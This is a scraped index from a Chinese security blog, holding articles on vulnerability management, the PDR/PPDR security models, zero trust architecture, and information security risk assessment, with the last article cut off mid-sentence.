对于漏洞管理整个流程来说，漏洞缓解或已解决后，关闭工单不是最终的目的，需要对漏洞数据进行分析，持续运营，可以从以下几个方面考虑： 1）统计一段时间内，外网系统出现的次数最多的Top10漏洞排名，分析漏洞出现的原因； 如外网系统中出现多次SQL注入漏洞，可以检查WAF的规则库是否及时更新？规则是否生效？此外网系统是否在WAF的防护之内？对外的系统为何不做严格的字符过滤机制等。 2）统计一段时间内，自主开发系统中漏洞数量最多的Top10系统排名，分析造成的原因； 如弱口令次数过多，是安全意识宣传不够？研发人员不重视？ 3）哪些供应商的开发的系统漏洞数量最多？分析存在的原因； 是否需要约谈供应商沟通，是安全开发能力的问题，还是研发安全意识不够？ 4）哪些框架被利用造成的漏洞过多？ 是情报问题？还是应急响应机制的原因？是否可以替换为其他框架？\n参考资料 信息安全技术 安全漏洞分类 GBT 33561-2017 信息安全技术 安全漏洞标识与描述规范 GB∕T 28458-2012 信息安全技术 安全漏洞等级划分指南 GB∕T 30279-2013 信息安全技术 信息安全漏洞管理规范 GB/T 30276-2013 安惞《浅谈企业内部安全漏洞的运营（一）：规范化》\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-25-%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E4%B9%8B%E6%BC%8F%E6%B4%9E%E7%AE%A1%E7%90%86/","summary":"\u003cp\u003e1947年冯·诺依曼建立计算机系统结构理论时认为，计算机系统也有天生的类似基因的缺陷，也可能在使用和发展过程中产生意想不到的问题。20世纪七八十年代，早期黑客的出现和第一个计算机病毒的产生，软件漏洞逐渐引起人们的关注。在各种产品、主机、网络和复杂信息系统中，安全漏洞以不同形式存在，而且数量逐年增加，利用漏洞造成的各类安全事件层出不穷。攻击行为或网络安全事件的发生正越来越多地受到利益驱动的影响，这种“黑色产业链”的兴起，导致越来越多的网络终端受害，大量机密信息被窃取，敏感数据信息在互联网上传播，并在黑市中待价而沽。工业控制领域以及新技术新应用的安全漏洞，特别是基础核心系统的安全漏洞已经成为危害国家经济和发展安全的重要因素。在安全运营过程中一个最重要的工作就是漏洞管理。\u003c/p\u003e","title":"安全运营之漏洞管理"},{"content":"基于时间的安全模型是基于\u0026quot;任何安全防护措施都是基于时间的，超过该时间段，这种防护措施是可能被攻破的\u0026ldquo;这样的前提。该模型主要给出了信息系统的攻防时间表。攻击时间指的是在系统采取某种防守措施，通过不同的攻击手段来计算攻破该防守措施所需要的时间。防守时间指的是，对于某种固定攻击手法，通过采取不同的安全防护措施，来计算该防护措施所能坚守的时间。\n基于时间的安全模型主要包括PDR和后来改进的PPDR模型，PDR模型是源自美国国际互联网安全系统公司ISS提出的自适应网络安全模型ANSM（AdaptiveNetwork Security Model），是一个可量化、可数学证明、基于时间的安全模型。美国ISS公司（后被IBM收购）提出的。PPDR模型是PDR的模型上发展起来的，也称P2DR，加入的P是Policy策略。\n一、PDR模型 保护-检测-响应( Protection-Detection-Response, PDR )模型是信息安全保障工作中常用的模型，是最早体现主动防御思想的一种网络安全模型，其思想是承认信息系统中漏洞的存在，正视信息系统面临的威胁，通过采取适度防护、加强检测工作、落实对安全事件的响应、建立对威胁的防护来保障系统的安全。 模型图如下图所示： P-protection，保护就是采用一切可能的措施来保护网络、系统以及信息的安全。通常采用的技术及方法主要包括加密、认证、访问控制、防火墙及防病毒等。\nD-detect，检测可以了解和评估网络和系统的安全状态，为安全防护和安全响应提供依据。常用的检测技术主要包括入侵检测、漏洞检测及网络扫描等技术。\nR-response，应急响应在安全模型中占有重要地位，是解决安全问题的最有效办法。解决安全问题就是解决紧急响应和异常处理问题，因此，建立应急响应机制，形成快速安全响应的能力，对网络和系统至关重要。\nPDR模型直观、实用，建立了一个所谓的基于时间的可证明的安全模型，定义了防护时间Pt(攻击者发起攻击时，保护系统不被攻破的时间)、检测时间Dt(从发起攻击到检测到攻击的时间)和响应时间Rt(从发现攻击到做出有效响应的时间)3个概念，并给出了评定系统安全的计算方式，当Pt\u0026gt;Dt+Rt时，即认为系统是安全的，也就是说，如果在攻击者攻破系统之前发现并阻止了攻击的行为，那么系统就是安全的。\n局限性：系统的Pt、Dt、Rt 很难准确定义，面对不同攻击者和不同种类的攻击，这些时间都是变化的，其实还是不能有效证明-一个系统是否安全。并且该模型对系统的安全隐患和安全措施采取相对固定的前提假设，难于适应网络安全环境的快速变化。\n二、PPDR模型 策略-保护检测-响应模型( Policy-Protection-Detection-Response, PPDR )是在PDR模型的基础_上发展出来的模型，也称为P2DR模型。模型的核心思想是所有的防护、检测、响应都是依据安全策略实施的，模型包括4个主要部分: Policy (策略)、Protection ( 保护)、Detection(检测)和Response(响应)。 模型图如下图所示： 策略（Policy）：模型的核心，所有的防护、检测和响应都是依据安全策略实施的。安全策略一般由总体安全策略和具体安全策略两部分组成。 保护（Protection）：保护是根据系统可能出现的安全问题而采取的预防措施，这些措施通过传统的静态安全技术实现。采用的防护技术通常包括数据加密、身份认证、访问控制、授权和虚拟专用网(VPN)技术、防火墙、安全扫描和数据备份等。 检测（Detection）：当攻击者穿透防护系统时，检测功能就发挥作用，与防护系统形成互补。检测是动态响应的依据。 响应（Response）：系统一旦检测到人侵，响应系统就开始工作，进行事件处理。响应包括应急响应和恢复处理，恢复处理又包括系统恢复和信息恢复。\nPPDR模型是在整体的安全策略的控制和指导下，在综合运用防护工具(如防火墙、操作系统身份认证、加密等)的同时，利用检测工具(如漏洞评估、人侵检测等)了解和评估系统的安全状态，通过适当的反应将系统调整到“最安全”和“风险最低”的状态。保护、检测和响应组成了一个完整的、动态的安全循环，在安全策略的指导下保证信息系统的安全。\n该理论的最基本原理就是信息安全相关的所有活动，不管是攻击行为、防护行为、检测行为和响应行为等都要消耗时间,因此可以用时间来衡量一个体系的安全性和安全能力。假设系统的防护、检测和反应时间分别是Pt、Dt和Rt。系统被对手成功攻击后的时间为暴露时间(Et)，那么PPDR模型就可以用典型的数学公式来表达安全的要求：如果Pt\u0026gt;Dt+Rt,那么系统是安全的。\nP2DR模型中的数学法则： 假设S系统的防护、检测和反应的时间分别是 • Pt（防护时间、有效防御攻击的时间） • Dt（检测时间、发起攻击到检测到的时间） • Rt（反应时间、检测到攻击到处理完成时间） 假设系统被对手成功攻击后的时间为 • Et（暴露时间） 则该系统防护、检测和反应的时间关系如下： • 如果Pt＞Dt＋Rt，那么S是安全的； • 如果Pt＜Dt＋Rt，那么Et＝（Dt＋Rt）－Pt。\nPPDR给出了安全的全新定义：“及时的检测和响应就是安全”，”及时的检测和恢复就是安全”。这样的定义给出了解决安全问题的明确方向:提高系统的防护时间Pt，降低检测时间Dt和响应时间Rt。\n与PDR模型相比，PPDR模型更强调控制和对抗，即强调系统安全的动态性，并且以安全检测、漏洞监测和自适应填充“安全间隙\u0026quot;为循环来提高网络安全。值得指出的是，在PPDR模型中，考虑了管理因素,它强调安全管理的持续性、安全策略的动态性，以实时监视网络活动、发现威胁和弱点来调整和填补网络漏洞。另外，该模型强调检测的重要性，通过经常对信息系统的评估把握系统风险点，及时弱化甚至消除系统的安全漏洞。但该模型忽略了内在的变化因素，如人员的流动、人员的素质和策略贯彻的不稳定性。系统本身安全能力的增强、系统和整个网络的优化，以及人员在系统中最重要角色的素质提升，都是该安全系统没有考虑到的问题。\nPDR PPDR 意义 最早体现主动防御思想的一种网络安全模型 是动态网络是安全体系的代表模型，动态安全模型的雏形。 组成 保护-检测-响应( Protection-Detection-Response, PDR ) 策略-保护检测-响应模型( Policy-Protection-Detection-Response, PPDR ) 特点 PDR模型建立了一个所谓的基于时间的可证明的安全模型，定义了:防护时间Pt (黑客发起攻击时，保护系统不被攻破的时间)、检测时间Dt (从发起攻击到检测到攻击的时间)和响应时间Rt (从发现攻击到作出有效响应的时间)。当Pt\u0026gt;Dt+Rt时，即认为系统是安全的，也就是说，如果在黑客攻破系统之前发现并阻止了黑客的行为，那么系统就是安全的。 给出了安全一个全新的定义：“及时的检测和响应就是安全”，“及时的检测和恢复就是安全”。而且，这样的定义为安全问题的解决给出了明确的方向：提高系统的防护时间Pt，降低检测时间.Dt和响应时间Rt。 局限性 系统的Pt、Dt、Rt 很难准确定义，面对不同攻击者和不同种类的攻击，这些时间都是变化的，其实还是不能有效证明一个系统是否安全。并且该模型对系统的安全隐患和安全措施采取相对固定的前提假设，难于适应网络安全环境的快速变化 忽略了内在的变化因素，如人员的流动、人员的素质和策略贯彻的不稳定性。系统本身安全能力的增强、系统和整个网络的优化，以及人员在系统中最重要角色的素质提升，都是该安全系统没有考虑到的问题。 不管是PDR还是PPDR，总体来说还是局限于从技术上考虑信息安全问题。随着信息化的发展，人们越来越意识到信息安全涉及面非常广，除了技术，管理、制度、人员和法律等方面也是信息安全必须考虑的因素，就像一个由多块木块构成的“木桶”，木桶的容量由最短的那块板决定。在处理信息安全问题时，必须全面考虑各方面的因素，任何一个方面的遗漏都有可能形成“短板”。\n作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-23-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E4%B9%8B%E5%9F%BA%E4%BA%8E%E6%97%B6%E9%97%B4%E7%9A%84%E5%AE%89%E5%85%A8%E6%A8%A1%E5%9E%8Bpdr%E5%92%8Cppdr%E6%A8%A1%E5%9E%8B/","summary":"\u003cp\u003e基于时间的安全模型是基于\u0026quot;\u003cstrong\u003e任何安全防护措施都是基于时间的，超过该时间段，这种防护措施是可能被攻破的\u003c/strong\u003e\u0026ldquo;这样的前提。该模型主要给出了信息系统的攻防时间表。攻击时间指的是在系统采取某种防守措施，通过不同的攻击手段来计算攻破该防守措施所需要的时间。防守时间指的是，对于某种固定攻击手法，通过采取不同的安全防护措施，来计算该防护措施所能坚守的时间。\u003c/p\u003e","title":"网络信息安全之基于时间的安全模型（PDR和PPDR模型）"},{"content":"一、零信任产生的背景 对于资源的访问保护，传统方式是划分安全区域，不同的安全区域有不同的安全要求。在安全区域之间就形成了网络边界，在网络边界处部署边界安全设备，包括防火墙、IPS、防毒墙、WAF等，对来自边界外部的各种攻击进行防范，以此构建企业网络安全体系，这种传统方式可称为边界安全理念。在边界安全理念中网络位置决定了信任程度，在安全区域边界外的用户默认是不可信的（不安全的），没有较多访问权限，边界外用户想要接入边界内的网络需要通过防火墙、VPN等安全机制；安全区域内的用户默认都是可信的（安全的），对边界内用户的操作不再做过多的行为监测，但是这就在每个安全区域内部存在过度信任（认为是安全的，给予的权限过大）的问题。同时由于边界安全设备部署在网络边界上，缺少来自终端侧、资源侧的数据，且相互之间缺乏联动，对威胁的安全分析是不够全面的，因此内部威胁检测和防护能力不足、安全分析覆盖度不够全面成为了边界安全理念固有的软肋。甚至很多企业只是非常粗粒度的划分了企业内网和外网（互联网），这种风险就更为明显。\n另外，随着云计算、物联网以及移动办公等新技术新应用的兴起，企业的业务架构和网络环境也随之发生了重大的变化，这给传统边界安全理念带来了新的挑战。比如云计算技术的普及带来了物理安全边界模糊的挑战，远程办公、多方协同办公等成为常态带来了访问需求复杂性变高和内部资源暴露面扩大的风险，各种设备（BYOD、合作伙伴设备）、各种人员接入带来了对设备、人员的管理难度和不可控安全因素增加的风险，高级威胁攻击（钓鱼攻击、水坑攻击、0day漏洞利用等）带来了边界安全防护机制被突破的风险，这些都对传统的边界安全理念和防护手段，如部署边界安全设备、仅简单认证用户身份、静态和粗粒度的访问控制等提出了挑战，亟需有更好的安全防护理念和解决思路。\n传统边界安全理念先天能力存在不足，新技术新应用又带来了全新的安全挑战，在这样的背景下，零信任的最早雏形源于2004年成立的耶利哥论坛（Jericho Forum ），其成立的使命正是为了定义无边界趋势下的网络安全问题并寻求解决方案，提出要限制基于网络位置的隐式信任；美国国防信息系统局（DISA）为了解决GIG（全球信息栅格，是美军信息化作战规划中极其重要且宏大的基础设施）中，如何实时、动态地对网络进行规划和重构的问题，发起了BlackCore项目，将基于边界的安全模型转换为基于单个事物安全性的模型，并提出了SDP（Software Defined Perimeter）的概念，该概念后来被云安全联盟（Cloud Security Alliance）采纳。2010年，由著名研究机构Forrester的首席分析师John Kindervag最早提出了零信任（Zero Trust）的概念，并由Google在BeyondCorp项目中率先得到了应用，很好的解决了边界安全理念难以应对的安全问题。\n二、零信任的定义 根据NIST《零信任架构标准》中的定义：零信任（Zero Trust，ZT）提供了一系列概念和思想，在假定网络环境已经被攻陷的前提下，当执行信息系统和服务中的每次访问请求时，降低其决策准确度的不确定性。零信任架构（ZTA）是一种企业网络安全的规划，它基于零信任理念，围绕其组件关系、工作流规划与访问策略构建而成。\n零信任代表了新一代的网络安全防护理念，并非指某种单一的安全技术或产品，其目标是为了降低资源访问过程中的安全风险，防止在未经授权情况下的资源访问，其关键是打破信任和网络位置的默认绑定关系。\n在零信任理念下，网络位置不再决定访问权限，在访问被允许之前，所有访问主体都需要经过身份认证和授权。身份认证不再仅仅针对用户，还将对终端设备、应用软件等多种身份进行多维度、关联性的识别和认证，并且在访问过程中可以根据需要多次发起身份认证。授权决策不再仅仅基于网络位置、用户角色或属性等传统静态访问控制模型，而是通过持续的安全监测和信任评估，进行动态、细粒度的授权。安全监测和信任评估结论是基于尽可能多的数据源计算出来的。\n零信任理念的基本假设、基本原则如下： 1、零信任理念的基本假设 a) 内部威胁不可避免； b) 从空间上，资源访问的过程中涉及到的所有对象（用户、终端设备、应用、网络、资源等）默认都不信任，其安全不再由网络位置决定； c) 从时间上，每个对象的安全性是动态变化的（非全时段不变的）。 2、零信任的基本原则 a）任何访问主体（人/设备/应用等），在访问被允许之前，都必须要经过身份认证和授权，避免过度的信任； b）访问主体对资源的访问权限是动态的（非静止不变的）； c）分配访问权限时应遵循最小权限原则； d）尽可能减少资源非必要的网络暴露，以减少攻击面； e）尽可能确保所有的访问主体、资源、通信链路处于最安全状态； f）尽可能多的和及时的获取可能影响授权的所有信息，并根据这些信息进行持续的信任评估和安全响应。\n零信任在所有需要对资源访问进行安全防护的场景都可以使用，但是否采用，应根据企业可接受的安全风险水平和投入综合考虑决定。\n三、零信任技术体系 目前零信任主要有三大技术体系，分别是SDP（软件定义安全）、IAM（增强身份管理）和MSG（微隔离）。 1、软件定义安全（SDP） SDP即“软件定义边界”,是国际云安全联盟CSA于2014年提出的基于零信任(Zero Trust)理念的新一代网络安全模型。SDP在使应用程序所有者能够在需要时部署安全边界,以便将服务与不安全的网络隔离开来。SDP将物理设备替换为在应用程序所有者控制下运行的逻辑组件。SDP仅允许在设备验证和身份验证后访问企业应用程序基础架构。SDP的体系结构由两部分组成:SDP主机和SDP控制器。SDP主机可以发起连接或接受连接。这些操作通过安全控制通道与SDP 控制器交互来管理。 SDP安全优势： 1.SDP最大限度地减少攻击面，降低安全风险； 2.SDP通过分离访问控制和数据通道来保护关键资产和基础设施，从而防止潜在的基于网络的攻击； 3.SDP提供了现有安全设备难以实现的整体集成安全架构。 4.SDP提供了一种基于连接的安全体系结构，而不是基于IP的替代方案。由于整个IT环境的爆炸式增长，云环境中缺乏边界使得基于IP的安全性变得脆弱。 5.SDP允许对所有连接进行预检查和控制，从这些连接可以连接设备、服务和设施，因此其整体安全性比传统架构更有利。\n2、增强身份管理（IAM） 增强身份管理IAM是大多数组织实现安全和IT运营策略的核心。它使企业可以自动访问越来越多的技术资产,同时管理潜在的安全和合规风险。身份管理为所有用户,应用程序和数据启用并保护数字身份。 身份管理可以帮助组织有效解决复杂业务带来的挑战，并平衡四个关键目标： 1.加强安全，降低风险。 2.提高合规性和审计绩效。 3.提供快速有效的业务访问。 4.降低运营成本。\n3、微隔离（MSG） 微隔离是一种网络安全技术，它可以将数据中心在逻辑上划分为各个工作负载级别的不同安全段，然后定义安全控制并为每个唯一段提供服务。微隔离使IT人员可以使用网络虚拟化技术在数据中心内部部署灵活的安全策略,而不必安装多个物理防火墙。微隔离可用于保护每个虚拟机(VM)在具有策略驱动的应用程序级安全控制的企业网络中。微隔离技术可以大大增强企业的抵御能力。 微隔离是在数据中心和云部署中创建安全区域的一种方法。这种方法使企业组织能够分离工作负载并分别保护它们，从而使网络安全更加完善，从而更加有效。 以下是微隔离的一些优点： 1.减少攻击面 2.提高横向运动的安全性 3.安全关键应用 4.提高合规性\n四、如何实现零信任体系 零信任的覆盖范围很广，根据企业的实际情况，可参考如下过程执行逐步建立零信任安全体系。\n1、建立统一的认证平台，提升基础安全及执行能力 建立统一的认证能力平台，为所有业务系统提供认证能力。所有业务平台对接认证能力平台以获得中级及以上认证能力，大幅降低因认证方式带来的风险。 可结合已经建立的 4A 系统，升级 4A 系统认证体系。使用多因素认证提高安全等级。收集并绑定设备指纹，将每台设备（PC 端或移动 端）与账户关联绑定。通过账号与设备的绑定，实现用 户、账号、设备三位一体的认证体系。建立以零信任网关为核心的控制体系，该方式将大大提高对用户访问行为的控制，弥补现有业务系统在访 控制方面的安全短板。建立采集系统，在用户使用业务系统时，采集行为和环境信息。零信任网关体系可以与 4A 系统和其它业务系统结合，通过代理技术隐藏所有被代理系统的 IP 和端口，并对用户的访问行为进行鉴权检测。\n2、升级或部署EDR，加强终端管控和行为风险发现能力 加强客户端监管，可通过升级资产与基线管理平台或部署EDR终端控制接入软件，对终端环境进行基线扫描和检查预警。对于不符合要求的终端，通过统一身份认证平台禁止其接入，同时，给出修复建议。 建立大数据处理系统，并通过该系统将上一阶段收集的用户行为信息进行统计和分析，结合电信内部管理规章制度，制定一套有针对性的基础专家规则。同时，建立规则引擎，规则引擎根据专家规则判断用户当前环境和行为风险。如果在规则中缺少必要信息指标，通过调整采集指标达到目标。 在基础规则基础上，根据不同的业务系统特点，深入挖掘与业务系统紧密相关的规则。结合认证方式在各个接入了认证能力平台的业务系统中实现自适应处置，使用户体会到初级智能化安全。规则引擎与身份认证系统对接，对接完成后，可以通过对用户访问各个业务系统的检测评估发现潜在风险，主要包括冒名访问和违规操作。\n3、引入智能工具，从传统安全向智慧安全转变 建立机器学习平台，引入齐全的人工智能模型和可视化工具，利用前期收集的用户数据，训练适配的模型，建立智能规则引擎，对用户请求的行为信息和环境信息进行自动化评估，关联前期部署的规则引擎，验证并改良智能规则和引擎。通过机器学习平台建立无感知认证模型，作为辅助认证方式进一步提高用户体验，从“有认证”升华至“无认证”。通过大数据和机器学习模型，结合深度挖掘技术建立用户画像库，识别用户行为习惯，践行“行为即指纹”理念，实现“零信任”的终极目标。\n参考资料来源： 零信任产业标准工作组《零信任实战白皮书》 《零信任架构的3大核心技术》 《零信任网络安全》 《零信任技术系统规范》\n作者博客:http://xiejava.ishareread.com\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-04-21-%E7%BD%91%E7%BB%9C%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E4%B9%8B%E9%9B%B6%E4%BF%A1%E4%BB%BB/","summary":"\u003ch2 id=\"一零信任产生的背景\"\u003e一、零信任产生的背景\u003c/h2\u003e\n\u003cp\u003e对于资源的访问保护，传统方式是划分安全区域，不同的安全区域有不同的安全要求。在安全区域之间就形成了网络边界，在网络边界处部署边界安全设备，包括防火墙、IPS、防毒墙、WAF等，对来自边界外部的各种攻击进行防范，以此构建企业网络安全体系，这种传统方式可称为边界安全理念。在边界安全理念中网络位置决定了信任程度，在安全区域边界外的用户默认是不可信的（不安全的），没有较多访问权限，边界外用户想要接入边界内的网络需要通过防火墙、VPN等安全机制；安全区域内的用户默认都是可信的（安全的），对边界内用户的操作不再做过多的行为监测，但是这就在每个安全区域内部存在过度信任（认为是安全的，给予的权限过大）的问题。同时由于边界安全设备部署在网络边界上，缺少来自终端侧、资源侧的数据，且相互之间缺乏联动，对威胁的安全分析是不够全面的，因此内部威胁检测和防护能力不足、安全分析覆盖度不够全面成为了边界安全理念固有的软肋。甚至很多企业只是非常粗粒度的划分了企业内网和外网（互联网），这种风险就更为明显。\u003c/p\u003e","title":"网络信息安全之零信任"},{"content":"在信息时代，信息已经成为第一战略资源，信息对组织使命的完成、组织目标的实现起着至关重要的作用，因此信息资产的安全是关系到该组织能否完成其使命的重大因素。资产与风险是对矛盾共同体，资产价值越高，面临的风险就越大。而对于目前的组织机构而言，由于组织的业务运营越来越依赖于信息资产，信息安全相关风险在组织整体风险中所占的比例也越来越高。信息安全风险管理的目的就是将风险控制到可接受的程度，保护信息及其相关资产，最终保障组织能够完成其使命，实现其目标。\n一、什么是安全风险 风险定义为事态的概率及其结果的组合。风险的目标可能有很多不同的方面，如财务目标、健康和人身安全目标、信息安全目标和环境目标等；目标也可能有不同的级别，如战略目标、组织目标、项目目标、产品目标和过程目标等。风险经常通过引用潜在事态和后果或这些的组合来描述。影响，是对一个预期的偏离，正面的或负面的偏离。 风险是客观存在的，与不确定性紧密相连，但又不能完全等同。风险带来的影响，通常都是负面的(正面的影响通常不被称为风险)。风险强调的是损害的潜在可能性，而不是事实上的损害。风险不能消除殆尽，包括人为因素带来的风险，也一样不能消除殆尽。衡量风险的两个基本要素就是事件的概率和影响。 威胁利用脆弱性作用于资产产生影响，威胁增加了组织资产的风险，脆弱点能够暴露资产，脆弱性本身不会构成对资产的损害，但是脆弱性被威胁利用就会增加组织资产的风险。 二、如何评估安全风险 根据《信息安全技术信息安全风险评估规范》（GB/T 20984-2007），对评估对象进行安全风险评估分析，风险分析中涉及评估对象的影响范围、威胁、脆弱性三个基本要素。 以下参考互联网新技术新业务安全风险评估可以分为确定影响范围-\u0026gt;确定威胁-\u0026gt;确定脆弱性-\u0026gt;计算分险值-\u0026gt;形成评估结论，通过定量和定性相结合的方式进行安全风险评估。\n1、确定影响范围 影响范围是指评估对象涉及的传播影响，按评估对象支持的用户数计。 对于运营于互联网上的应用系统，参考下表进行赋值。\n范围 赋值 10万以内 1 10万-100万以内 2 100万-1000万以内 3 1000万-5000万以内 4 5000万及以上 5 2、确定威胁 威胁是指可能对评估对象造成损害的外部原因。威胁利用评估对象自身的脆弱性，采用一定的途径和方式，对评估对象造成损害或损失，从而形成风险。如：下表为互联网新技术新业务安全评估涉及的威胁及发生可能性赋值。\n威胁分类 威胁名称 赋值 威胁描述 假冒 假冒 4 通过欺骗通信系统（或用户）达到非法用户冒充成为合法用户，或特权小的用户冒充成为特权大的用户的目的。黑客大多是采用假冒攻击。 假冒 诱骗欺诈 1 通过伪造、篡改、劫持短信、彩信、邮件、通讯录、通话记录、收藏夹、桌面等方式，诱骗用户，而达到不正当目的。 假冒 恶意扣费 5 在用户不知情或非授权的情况下，通过隐蔽执行、欺骗用户点击等手段，订购各类收费业务或使用移动终端支付，造成用户经济损失。 篡改 篡改 3 通过作伪的手段对应用程序的数据、进程、交互内容、发布内容进行修改。 拒绝服务 系统破坏 4 通过感染、劫持、篡改、删除、终止进程等手段导致移动终端或其它非恶意软件部分或全部功能、用户文件等无法正常使用，干扰、破坏、阻断移动通信网络、网络服务或其它合法业务正常运行。 拒绝服务 拒绝服务 5 对信息或其他资源的合法访问被无条件地阻止。 拒绝服务 资源消耗 4 在用户不知情或非授权的情况下，通过自动拨打电话、发送短信、彩信、邮件、频繁连接网络等方式，造成用户资费损失。 暴力破解 暴力破解 2 一种针对于用户账号和密码的破译方法，即将密码进行逐个推算直到找出真正的密码为止。 抵赖 抵赖 4 合法用户对自己操作行为否认的可能性。 越权（提升权限） 非授权访问 3 某一资源被某个非授权的人，或以非授权的方式使用。 越权（提升权限） 隐私窃取 4 在用户不知情或非授权的情况下，获取涉及用户个人信息。 越权（提升权限） 窃听 3 用各种可能的合法或非法的手段窃取系统中的信息资源和敏感信息。例如对通信线路中传输的信号搭线监听，或者利用通信设备在工作过程中产生的电磁泄露截取有用信息等。 越权（提升权限） 业务流分析 3 通过对系统进行长期监听，利用统计分析方法对诸如通信频度、通信的信息流向、通信总量的变化等参数进行研究，从中发现有价值的信息和规律。 越权（提升权限） 远程控制 4 在用户不知情或非授权的情况下，能够接受远程控制端指令并进行相关操作。 越权（提升权限） 破坏信息的完整性/可用性 4 数据被非授权地进行增删、修改或破坏而受到损失/数据遗失。 越权（提升权限） 授权侵犯（内部攻击） 3 被授权以某一目的使用某一系统或资源的某个人，将此权限用于其他非授权的目的。 非法传播 恶意传播 5 自动通过复制、感染、投递、下载等方式将自身、自身的衍生物或其它恶意代码进行扩散的行为。 非法传播 信息泄露 5 信息被泄露或透露给某个非授权的实体。 非法传播 三涉 5 传播的内容与应用包含了非法的信息，如涉黄、涉非、涉政，含病毒等。 非法传播 非法应用 2 传播内容与应用的方式让用户无法接受，如垃圾短信的发送、骚扰电话等。 溯源失效 溯源失效 4 无法准确追溯到传播违法有害信息或进行恶意攻击的责任主体。 管理失控 管理失控 4 用户、业务规模已超过企业最大安全监管能力范围；或企业安全保障能力无法满足针对业务实现方式或功能属性带来安全风险的管理。 为了便于对不同威胁发生的可能性概率数据进行类比、度量，依据经验或专家意见进行赋值，常用准则参照如下表。采用相对等级的方式进行度量，等级值为1-5，1为最低，5为最高。 表：威胁赋值准则\n等级 标识 定义 5 VH（很高） 威胁发生的可能性很高，在大多数情况下几乎不可避免或者可以证实发生过的频率较高。 4 H（高） 威胁发生的可能性较高，在大多数情况下很有可能会发生或者可以证实曾发生过。 3 M（中） 威胁发生的可能性中等，在某种情况下可能会发生但未被证实发生过。 2 L（低） 威胁发生的可能性较小，一般不太可能发生，也没有被证实发生过。 1 VL（很低） 威胁几乎不可能发生，仅可能在非常罕见和例外的情况下发生。 3、确定脆弱性 脆弱性是指评估对象存在一个或多个脆弱的管理、技术、业务方面的漏洞，这些漏洞可能会被威胁所利用。脆弱性依据经验或专家意见进行赋值，常用准则参照如下表。采用相对等级的方式进行度量，等级值为1-3，1为最低，3为最高。 表：脆弱性赋值准则\n类别 描述 对应等级 技术保障 技术方面是否存在低等级缺陷，从技术角度是否易被利用。 3 攻击利用 对于攻击者来说，该漏洞目前是否能被直接或者间接利用，或者利用的难度。 3 管理控制 运营管理环节是否有相关的薄弱环节，被利用难易程度。 3 防范控制 是否有规定，是否严格审核、是否有记录校验等。 2 脆弱性等级\n等级 标识 定义 3 H（高） 如果被威胁利用，将造成完全损害。 2 M（中） 如果被威胁利用，将造成一般损害。 1 L（低） 如果被威胁利用，造成的损害可以忽略。 4、计算风险值 风险计算公式：\n风险值=影响范围 * 威胁可能性 * 脆弱严重性\n根据风险计算公式得出风险值后可以对应其风险等级，如风险值在55-75分，表示风险极高\n5、评估结论 评估报告以风险计算得分形式呈现，即：不仅呈现脆弱性问题，并且对于不符合评估标准的项，根据面临威胁赋值和脆弱性赋值，结合评估对象的影响范围计算出风险得分，依据得分给出风险等级（极高、高、中、低、极低）。 任一评估要点匹配对应的企业安全保障能力的脆弱性测算值＞0时，须及时记录并反馈至本级信息安全部门进行报备。任一评估要点的风险值的对应等级为中及其以上程度时，必须纳入整改事项严格贯彻执行，并密切跟踪把握风险变化、持续健全更新与之匹配对应的信息安全管理措施和技术保障手段，根据业务上线后的经营发展情况适时开展安全评估，以确保将信息安全风险控制在中级以下范围内。评估管理部门应组织评估专家审查小组，对“评估结论”进行审核，通过后出具评审结论。\n三、为什么要管理安全风险 风险管理的目的是确保不确定性不会使企业的业务目标发生变化。风险管理是风险的识别、评估和优化，然后协调和经济地应用资源，以最小化监测和控制不良事件的可能性及影响，最大限度地实现业务。\n风险管理可使信息系统的主管者和运营者在安全措施的成本与资产价值之间寻求平衡，并最终通过对支持其使命的信息系统及数据进行保护而提高其实现使命的能力。\n一个单位的领导必须确保本单位具备完成其使命所需的能力。信息安全措施是有成本的，因此对信息安全的成本必须像其他管理决策一样进行全面检查。一套合理的风险管理方法，可以帮助信息系统的主管者和运营者最大程度地提高其信息安全保障能力，以有效实现其使命。\n四、如何管理安全风险 信息安全风险管理包括背景建立、风险评估、风险处理、批准监督、监控审查和沟通咨询6个方面的内容。背景建立、风险评估、风险处理和批准监督是信息安全风险管理的4个基本步骤，监控审查和沟通咨询则贯穿于这4个基本步骤中，如下图所示。\n1、背景建立 背景建立是信息安全风险管理的第一个步骤，是为了明确信息安全风险管理的范围和对象，以及对象的特性和安全要求，对信息安全风险管理项目进行规划和准备，保障后续的风险管理活动顺利进行。背景是建立在业务需求的基础上，通过有效的风险评估和国家、地区、行业相关法律法规及标准的约束下获得背景依据。 背景建立的过程包括风险管理准备、信息系统调查、信息系统分析和信息安全分析4个阶段。在信息安全风险管理过程中，对象确立过程是一次信息安全风险管理主循环的起始，为风险评估提供输人。\n2、风险评估 风险评估确定信息资产的价值、识别适用的威胁和(存在或可能存在的)脆弱点、识别现有控制措施及其对已识别风险的影响，确定潜在后果,对风险进行最终的优先级排序，并按照风险范畴中设定的风险评价准则进行排名。 风险评估的目的是通过风险评估的结果，来获得信息安全需求，信息安全风险管理要依靠风险评估的结果来确定随后的风险处理和批准监督活动。风险评估使得组织能够准确定位风险管理的策略、实践和工具，能够将安全活动的重点放在重要的问题上，能够选择有合理成本效益的和适用的安全对策。基于风险评估的风险管理方法被实践证明是有效的和实用的，已被广泛应用于各个领域。 风险评估的过程包括风险评估准备、风险要素识别、风险分析和风险结果判定4个阶段。在信息安全风险管理过程中，风险评估活动接受背景建立阶段的输出，形成本阶段的最终输出《风险评估报告》，此文档为风险处理活动提供输人。\n3、风险处理 风险处理是依据风险评估的结果，选择和实施合适的安全措施。风险处理的目的是为了将风险始终控制在可接受的范围内。风险处理的方式主要有降低、规避、转移和接受4种方式。\n降低方式: 组织首先应该选择降低风险，通常通过对面临风险的资产采取保护措施来降低风险。保护措施可以从构成风险的5个方面( 